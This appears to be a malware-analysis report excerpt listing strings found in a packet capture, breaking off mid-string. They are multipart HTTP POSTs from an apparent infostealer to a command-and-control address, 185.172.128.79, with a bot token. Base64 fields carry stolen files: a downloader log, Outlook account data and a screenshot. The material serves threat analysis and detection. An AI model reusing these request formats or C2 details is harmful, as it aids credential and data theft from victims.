Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="message"files------JEBKECAFIDAFIECBKEHD--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="file_name"ZmlsZXNcRE9DU1xBbWF6b24gRG93bmxvYWRlciBMb2dzXEFtYXpvbl9Eb3dubG9hZGVyX0xvZ18yMDE3MTIwNi0yMjU3MTJfMTgxMGU5ZTAtMWE4ZC00NTdjLWJlM2EtNzM3ZGU1MGRjNmJiLnR4dA==------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="file"MjAxNzEyMDYtMjI1NzEyICBtYWluLmNwcCggIDI3KSAgOiBtYWluKCkgc3RhcnQKMjAxNzEyMDYtMjI1NzEyICBEU1ZDbGllbnRMb2dfV2luZG93cy5jcHAoICA1MSkgIDogT1M6IFdpbmRvd3MgNyBidWlsZCA3NjAxIAoyMDE3MTIwNi0yMjU3MTIgIFdpbmRvd3NVaS5jcHAoIDEwMSkgIDogZGVza3RvcCBmb2xkZXI6IEM6XFVzZXJzXEhBUFVCV1NcRGVza3RvcFwKMjAxNzEyMDYtMjI1NzEyICBzaG93RGVidWdNZXNzYWdlRGlhbG9nOgoyMDE3MTIwNi0yMjU3MTIgICAgZ2V0Q29uZmlndXJhdGlvbkZyb21FeGUKMjAxNzEyMDYtMjI1NzEyICAgIEdhdGV3YXlVUkwgKHN0YWdlOjMsIG1hcmtldHBsYWNlSUQ6MSk6IGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxMiAgQXBwbGljYXRpb25MaWIuY3BwKCAgOTUpICA6IEFwcGxpY2F0aW9uOjpydW4oKSBzdGFydAoyMDE3MTIwNi0yMjU3MTIgICAgU1RBVEVfQ09OTkVDVElORwoyMDE3MTIwNi0yMjU3MTIgICAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IEZpbmRpbmcgZG93bmxvYWQuLi4KMjAxNzEyMDYtMjI1NzEyICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxMiAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzEyICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE0ICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzMpICA6IHJlZ2lzdGVySW5zdGFsbCgpCjIwMTcxMjA2LTIyNTcxNCAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzUpICA6IHZlcnNpb246IDQuMC4wLjAKMjAxNzEyMDYtMjI1NzE0ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoICA3NikgIDogcHJvZHVjdENvZGU6IElnbm9yZWQgUHJvZHVjdCBBc2luCjIwMTcxMjA2LTIyNTcxNCAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAgNzcpICA6IGNsaWVudFR5cGU6IFRISU5fV0lOMzIKMjAxNzEyMDYtMjI1NzE0ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxNCAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzE0ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE1ICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxMDYpICA6IGNyZWF0ZURvd25sb2FkKCkKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDEwOCkgIDogbWFjaGluZTogVkI4Yzc2NjQyMi02ZDEyYjM5ZCAKMjAxNzEyMDYtMjI1NzE1ICAgIFdpbmRvd3NVaS5jcHAoIDY5MSkgIDogc2V0RG93bmxvYWRTdGF0dXNUZXh0OiBSZXRyaWV2aW5nIGluZm9ybWF0aW9uLi4uCjIwMTcxMjA2LTIyNTcxNSAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoICA4MCkgIDogcG9zdCB0byBodHRwczovL3N3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tL2dhdGV3YXkvdGhpbgoyMDE3MTIwNi0yMjU3MTUgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA2LTIyNTcxNSAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTMwKSAgOiB1cmxQYXRoOiAvZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxNSAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTYxKSAgOiBnZXRNYW5pZmVzdCgxKQoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTYzKSAgOiBpbWFnZVVybDogaHR0cDovL2VjeC5pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvSS81MXRpOGxlOVQ5TC5fU0w3NV8uanBnCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjQpICA6IHByb2R1Y3ROYW1lOiBIYW5jb20gT2ZmaWNlIDIwMTAgU0UgKEVuZ2xpc2ggRWRpdGlvbikgLSAzUEMtMVVzZXIgKERvd25sb2FkKQoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY1KSAgOiBicmFuZE5hbWU6IEhhbmNvbSwgSW5jLgoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY2KSAgOiB2ZXJzaW9uZWRJdGVtSWQ6IDc5MDIwNGFmLWVjZjUtNGU0Ni1hYjY4LTVhYzY2MDg2Nzk1NAoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTY3KSAgOiBhc2luOiBCMDA4STc5SlE4CjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjgpICA6IGZpbGVOYW1lOiBIYW5jb21PZmZpY2UuZXhlCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNjkpICA6IGZpbGVTaXplOiA3ODA3MjM4ODAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3MCkgIDogbnVtYmVyT2ZQYXJ0aXRpb25zOiAyCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzEpICA6IGFyY2hpdmVNZXRob2Q6IDAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3MikgIDogbGF1bmNoRmlsZTogCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzMpICA6IHByb2R1Y3RLZXlGaWxlOiAKMjAxNzEyMDYtMjI1NzE1ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDE3NCkgIDogcmVxdWlyZXNQcm9kdWN0S2V5OiAxCjIwMTcxMjA2LTIyNTcxNSAgICAgIEpzb25NZXNzZW5nZXIuY3BwKCAxNzUpICA6IHJlcXVpcmVzRXh0cmFjdEtleTogMAoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTc2KSAgOiBnbENvZGU6IDM2NgoyMDE3MTIwNi0yMjU3MTUgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMTc3KSAgOiBkc3A6IFMzCjIwMTcxMjA2LTIyNTcxNSAgICBXaW5kb3dzVWkuY3BwKCA0NDQpICA6IE5hdmlnYXRpbmcgdG8gd3d3LmFtYXpvbi5jb20vZ3Avc3d2Z2R0dC9kb3dubG9hZGVyQmFubmVyL2dlbmVyaWNCYW5uZXIuaHRtbD9hc2luPUIwMDhJNzlKUTgKMjAxNzEyMDYtMjI1NzE3ICAgIFdpbmRvd3NVaS5jcHAoIDUxOCkgIDogV2ViIHBhZ2UgdGltZWQgb3V0IC0gbm90IGRpc3BsYXlpbmcgdGhlIGJhbm5lcgoyMDE3MTIwNi0yMjU3MTcgICAgRmlsZUlPLmNwcCggIDQzKSAgOiBFUlJPUjogRmlsZUlPOjpvcGVuIEFuIGVycm9yIG9jY3VyZWQgd2hpbGUgb3BlbmluZyB0aGUgZmlsZS4gRXJybm8gd2FzIHNldCB0byAyIGJ5IGZvcGVuCjIwMTcxMjA2LTIyNTcxNyAgICBXaW5kb3dzVWkuY3BwKCA1NjEpICA6IHNldERvd25sb2FkRm9sZGVyVGV4dDogQzpcVXNlcnNcSEFQVUJXU1xEZXNrdG9wXAoyMDE3MTIwNi0yMjU3MTcgICAgQXBwbGljYXRpb25MaWIuY3BwKCAyMjMpICA6IHByb2R1Y3RLZXlGaWxlOiBIYW5jb20gT2ZmaWNlIDIwMTAgU0UgKEVuZ2xpc2ggRWRpdGlvbikgLSAzUEMtMVVzZXIgKERvd25sb2FkKSBLZXlzLmh0bWwKMjAxNzEyMDYtMjI1NzE3ICAgIFdpbmRvd3NVaS5jcHAoIDU2MSkgIDogc2V0RG93bmxvYWRGb2xkZXJUZXh0OiBDOlxVc2Vyc1xIQVBVQldTXERlc2t0b3BcSGFuY29tIE9mZmljZSAyMDEwIFNFIChFbmdsaXNoIEVkaXRpb24pIC0gM1BDLTFVc2VyIChEb3dubG9hZClcCjIwMTcxMjA2LTIyNTcxNyAgICBXaW5kb3dzVWkuY3BwKCA0NDQpICA6IE5hdmlnYXRpbmcgdG8gd3d3LmFtYXpvbi5jb20vZ3Avc3d2Z2R0dC9kb3dubG9hZGVyQmFubmVyL2dlbmVyaWNCYW5uZXIuaHRtbD9hc2luPUIwMDhJNzlKUTgKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NVaS5jcHAoIDUxOCkgIDogV2ViIHBhZ2UgdGltZWQgb3V0IC0gbm90IGRpc3BsYXlpbmcgdGhlIGJhbm5lcgoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyMzkpICA6IExvZyBmaWxlIG5hbWU6IDIwMTcxMjA2LTIyNTcxMl8xODEwZTllMC0xYThkLTQ1N2MtYmUzYS03MzdkZTUwZGM2YmIKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIyNTcxOCAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjI1NzE4ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMzApICA6IHVybFBhdGg6IC9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE4ICAgIEFwcGxpY2F0aW9uTGliLmNwcCggMjQwKSAgOiBTZXJ2ZXIgcmVzcG9uc2U6IHRydWUKMjAxNzEyMDYtMjI1NzE4ICAgIFdpbmRvd3NVaS5jcHAoIDY5MSkgIDogc2V0RG93bmxvYWRTdGF0dXNUZXh0OiBPcGVuaW5nIGZpbGUuLi4KMjAxNzEyMDYtMjI1NzE4ICAgIFN0ZERvd25sb2FkZXIuY3BwKCAzMTUpICA6IFN0ZERvd25sb2FkZXI6Om9wZW4oSGFuY29tT2ZmaWNlLmV4ZSwgNzgwNzIzODgwKQoyMDE3MTIwNi0yMjU3MTggICAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IFN0YXJ0aW5nIGRvd25sb2FkLi4uCjIwMTcxMjA2LTIyNTcxOCAgICBTVEFURV9QUkVSRVNVTUlORwoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyNjkpICA6IFBhcnRpdGlvbiAgMCBSZXRyeSAgMAoyMDE3MTIwNi0yMjU3MTggICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAgODApICA6IHBvc3QgdG8gaHR0cHM6Ly9zd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbS9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjI1NzE4ICAgICAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAxMjkpICA6IGhvc3ROYW1lOiBzd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbQoyMDE3MTIwNi0yMjU3MTggICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNi0yMjU3MTggICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIxOSkgIDogZ2V0UGFydGl0aW9uKCkKMjAxNzEyMDYtMjI1NzE4ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIyMSkgIDogcGFydGl0aW9uSW5kZXg6IDAKMjAxNzEyMDYtMjI1NzE4ICAgICAgSnNvbk1lc3Nlbmdlci5jcHAoIDIyMikgIDogY2hlY2tzdW06IAoyMDE3MTIwNi0yMjU3MTggICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIzKSAgOiBkb3dubG9hZFVybDogczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMjU3MTggICAgQXBwbGljYXRpb25MaWIuY3BwKCAyODMpICA6IEdldCA1MjQyODgwMDAgYnl0ZXMgZnJvbSBzMy5hbWF6b25hd3MuY29tCjIwMTcxMjA2LTIyNTcxOCAgICBTdGREb3dubG9hZGVyLmNwcCggIDU3KSAgOiBmaWxlT2Zmc2V0OiAwLCBwYXJ0aXRpb25TaXplOiA1MjQyODgwMDAsIHN0YXJ0UG9zOiAwKQoyMDE3MTIwNi0yMjU3MTggICAgICBTdGREb3dubG9hZGVyLmNwcCggIDgyKSAgOiBvcmlnU3RhcnRQb3M6IDAgLyBzdGFydFBvczogMCAvIG51bVJldHJpZXM6IDAgLyAgYnl0ZXNEb3dubG9hZGVkOiAwIC8gZG93bmxvYWRlZFRoaXNBdHRlbXB0OiAwCjIwMTcxMjA2LTIyNTcyMCAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE4MikgIDogblI6IDAgZFRBOiAwCjIwMTcxMjA2LTIyNTcyMSAgICAgICAgICBTVEFURV9SRVNVTUlORwoyMDE3MTIwNi0yMjU3MjEgICAgICAgICAgU1RBVEVfRE9XTkxPQURJTkcKMjAxNzEyMDYtMjI1NzQ2ICAgICAgICAgIFdpbmRvd3NVaS5jcHAoIDk0NCkgIDogSURDX1BBVVNFIGNvbW1hbmQKMjAxNzEyMDYtMjI1NzQ2ICAgICAgICAgIFNUQVRFX1BBVVNFRAoyMDE3MTIwNi0yMjU3NDYgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE4OSkgIDogbVBhdXNlZAoyMDE3MTIwNi0yMjU3NDYgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDE5NikgIDogb3JpZ1N0YXJ0UG9zOiAwIC8gc3RhcnRQb3M6IDAgLyBudW1SZXRyaWVzOiAwIC8gIGJ5dGVzRG93bmxvYWRlZDogNDgwMDUxMiAvIGRvd25sb2FkZWRUaGlzQXR0ZW1wdDogNDgwMDUxMgoyMDE3MTIwNi0yMjU4MTEgICAgICAgICAgV2luZG93c1VpLmNwcCggOTUwKSAgOiBJRENfUkVTVU1FIGNvbW1hbmQKMjAxNzEyMDYtMjI1ODExICAgICAgICAgIFNUQVRFX1BSRVJFU1VNSU5HCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBTdGREb3dubG9hZGVyLmNwcCggMjA4KSAgOiB1biBtUGF1c2VkCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBBcHBsaWNhdGlvbkxpYi5jcHAoIDk3MykgIDogbm90aWZ5U3RhdHVzVXBkYXRlOiBZb3VyIGRvd25sb2FkIGhhcyByZXN1bWVkLi4uCjIwMTcxMjA2LTIyNTgxMSAgICAgICAgICBXaW5kb3dzVWkuY3BwKCA2OTEpICA6IHNldERvd25sb2FkU3RhdHVzVGV4dDogWW91ciBkb3dubG9hZCBoYXMgcmVzdW1lZC4uLgoyMDE3MTIwNi0yMjU4MTEgICAgICAgICAgU3RkRG93bmxvYWRlci5jcHAoIDIxNykgIDogcmVzdW1pbmcgZG93bmxvYWQgc3RhcnRQb3MgPSA0ODAwNTEyIGZpbGVPZmZzZXQgPSA0ODAwNTEyIG51bVJldHJpZXMgPSAwCjIwMTcxMjA2LTIyNTgxMiAgICAgIFN0ZERvd25sb2FkZXIuY3BwKCAxODIpICA6IG5SOiAwIGRUQTogNDgwMDUxMgoyMDE3MTIwNi0yMjU4MTMgICAgICAgIFNUQVRFX1JFU1VNSU5HCjIwMTcxMjA2LTIyNTgxMyAgICAgICAgU1RBVEVfRE9XTkxPQURJTkcKMjAxNzEyMDYtMjM0MjQ5ICAgICAgICBTdGREb3dubG9hZGVyLmNwcCggMjg1KSAgOiBhY3R1YWxOdW1iZXJPZkJ5dGVzUmVhZCA9PSAwIC0tIHByb2JhYmx5IGVuZCBvZiBwYXJ0aXRpb24KMjAxNzEyMDYtMjM0MjQ5ICBBcHBsaWNhdGlvbkxpYi5jcHAoIDI2OSkgIDogUGFydGl0aW9uICAxIFJldHJ5ICAwCjIwMTcxMjA2LTIzNDI0OSAgV2luZG93c0lOZXRDbGllbnQuY3BwKCAgODApICA6IHBvc3QgdG8gaHR0cHM6Ly9zd3ZnZHR0LWdhdGV3YXkuYW1hem9uLmNvbS9nYXRld2F5L3RoaW4KMjAxNzEyMDYtMjM0MjQ5ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTI5KSAgOiBob3N0TmFtZTogc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20KMjAxNzEyMDYtMjM0MjQ5ICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggMTMwKSAgOiB1cmxQYXRoOiAvZ2F0ZXdheS90aGluCjIwMTcxMjA2LTIzNDI1MCAgSnNvbk1lc3Nlbmdlci5jcHAoIDIxOSkgIDogZ2V0UGFydGl0aW9uKCkKMjAxNzEyMDYtMjM0MjUwICAgIEpzb25NZXNzZW5nZXIuY3BwKCAyMjEpICA6IHBhcnRpdGlvbkluZGV4OiAxCjIwMTcxMjA2LTIzNDI1MCAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIyKSAgOiBjaGVja3N1bTogCjIwMTcxMjA2LTIzNDI1MCAgICBKc29uTWVzc2VuZ2VyLmNwcCggMjIzKSAgOiBkb3dubG9hZFVybDogczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMzQyNTAgIEFwcGxpY2F0aW9uTGliLmNwcCggMjgzKSAgOiBHZXQgMjU2NDM1ODgwIGJ5dGVzIGZyb20gczMuYW1hem9uYXdzLmNvbQoyMDE3MTIwNi0yMzQyNTAgIFN0ZERvd25sb2FkZXIuY3BwKCAgNTcpICA6IGZpbGVPZmZzZXQ6IDUyNDI4ODAwMCwgcGFydGl0aW9uU2l6ZTogMjU2NDM1ODgwLCBzdGFydFBvczogMCkKMjAxNzEyMDYtMjM0MjUwICAgIFN0ZERvd25sb2FkZXIuY3BwKCAgODIpICA6IG9yaWdTdGFydFBvczogMCAvIHN0YXJ0UG9zOiAwIC8gbnVtUmV0cmllczogMCAvICBieXRlc0Rvd25sb2FkZWQ6IDUyNDI4ODAwMCAvIGRvd25sb2FkZWRUaGlzQXR0ZW1wdDogMAoyMDE3MTIwNi0yMzQyNTEgICAgICBTdGREb3dubG9hZGVyLmNwcCggMTgyKSAgOiBuUjogMCBkVEE6IDAKMjAxNzEyMDctMDAwNDQ2ICAgICAgICBKc29uTWVzc2VuZ2VyLmNwcCggMzczKSAgOiBKc29uTWVzc2VuZ2VyOjpsb2coaW5mbywgKQoyMDE3MTIwNy0wMDA0NDYgICAgICAgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0NiAgICAgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0NiAgICAgICAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDcgICAgICAgIFN0ZERvd25sb2FkZXIuY3BwKCAyODUpICA6IGFjdHVhbE51bWJlck9mQnl0ZXNSZWFkID09IDAgLS0gcHJvYmFibHkgZW5kIG9mIHBhcnRpdGlvbgoyMDE3MTIwNy0wMDA0NDcgIFN0ZERvd25sb2FkZXIuY3BwKCAzNDMpICA6IFN0ZERvd25sb2FkZXI6OmNsb3NlCjIwMTcxMjA3LTAwMDQ0NyAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IEZpbmlzaGluZyBkb3dubG9hZC4uLgoyMDE3MTIwNy0wMDA0NDcgIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0NyAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0NyAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDggIEpzb25NZXNzZW5nZXIuY3BwKCAyODApICA6IGZpbmlzaERvd25sb2FkKCkKMjAxNzEyMDctMDAwNDQ4ICBXaW5kb3dzVWkuY3BwKCA2OTEpICA6IHNldERvd25sb2FkU3RhdHVzVGV4dDogR2V0dGluZyBwcm9kdWN0IGtleXMuLi4KMjAxNzEyMDctMDAwNDQ4ICBTVEFURV9HRVRUSU5HX1BST0RVQ1RfS0VZUwoyMDE3MTIwNy0wMDA0NDggIFdpbmRvd3NJTmV0Q2xpZW50LmNwcCggIDgwKSAgOiBwb3N0IHRvIGh0dHBzOi8vc3d2Z2R0dC1nYXRld2F5LmFtYXpvbi5jb20vZ2F0ZXdheS90aGluCjIwMTcxMjA3LTAwMDQ0OCAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEyOSkgIDogaG9zdE5hbWU6IHN3dmdkdHQtZ2F0ZXdheS5hbWF6b24uY29tCjIwMTcxMjA3LTAwMDQ0OCAgICBXaW5kb3dzSU5ldENsaWVudC5jcHAoIDEzMCkgIDogdXJsUGF0aDogL2dhdGV3YXkvdGhpbgoyMDE3MTIwNy0wMDA0NDggIEpzb25NZXNzZW5nZXIuY3BwKCAzMzUpICA6IGdldFByb2R1Y3RLZXlzKGFzaW46IEIwMDhJNzlKUTgpCjIwMTcxMjA3LTAwMDQ0OCAgV2luZG93c1VpLmNwcCggNjkxKSAgOiBzZXREb3dubG9hZFN0YXR1c1RleHQ6IFJlYWR5IHRvIGluc3RhbGwhCjIwMTcxMjA3LTAwMDQ0OCAgU1RBVEVfRE9ORQoyMDE3MTIwNy0wMDA1MzUgIFdpbmRvd3NVaS5jcHAoIDk3MSkgIDogSURDX1ZJRVdfS0VZUy9JRENfVklFV19LRVlTMiBjb21tYW5kCjIwMTcxMjA3LTAwMDc0MSAgV2luZG93c1VpLmNwcCggOTU3KSAgOiBJRENfSU5TVEFMTC9JRENfSU5TVEFMTDIgY29tbWFuZAoyMDE3MTIwNy0wMDA5NTMgIERTVkNsaWVudExvZy5jcHAoICA4NSkgIDogRFNWQ2xpZW50TG9nOjpjbG9zZSgpCjIwMTcxMjA3LTAwMDk1MyAgRFNWQ2xpZW50TG9nLmNwcCggIDg3KSAgOiBjbG9zaW5nIGZpbGUgYmVmb3JlIHVwbG9hZAo=------DHDAKFCGIJKJKFHIDHII--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file_name"c29mdFxPdXRsb29rXGFjY291bnRzLnR4dA==------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file"Y2xzaWQ6IApNaW5pIFVJRDogClNlcnZpY2UgVUlEOiA/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/ClNlcnZpY2UgTmFtZTogQ09OVEFCCk1BUEkgUHJvdmlkZXI6IApBY2NvdW50IE5hbWU6IE91dGxvb2sgQWRkcmVzcyBCb29rClByZWZlcmVuY2VzIFVJRDogPz8/Pz8/Pz8/PwpjbHNpZDogCk1pbmkgVUlEOiAKU2VydmljZSBVSUQ6ID8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8KU2VydmljZSBOYW1lOiBNU1VQU1QgTVMKTUFQSSBQcm92aWRlcjogCkFjY291bnQgTmFtZTogT3V0bG9vayBEYXRhIEZpbGUKUHJlZmVyZW5jZXMgVUlEOiA/Pz8/Pz8/P2VhdGEgRmlsZQo=------JDGIIDHJEBGIDHJJDBKE--"; File: "PCAP") Found string "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"05bc9f280ceeab665f4f6e49785137b7451a015786e2a574349c1395f2c6df9bdaf0f09e------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="file_name"c2NyZWVuc2hvdC5qcGc=------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="file"/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAMgBQADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDnBTqQU4V6R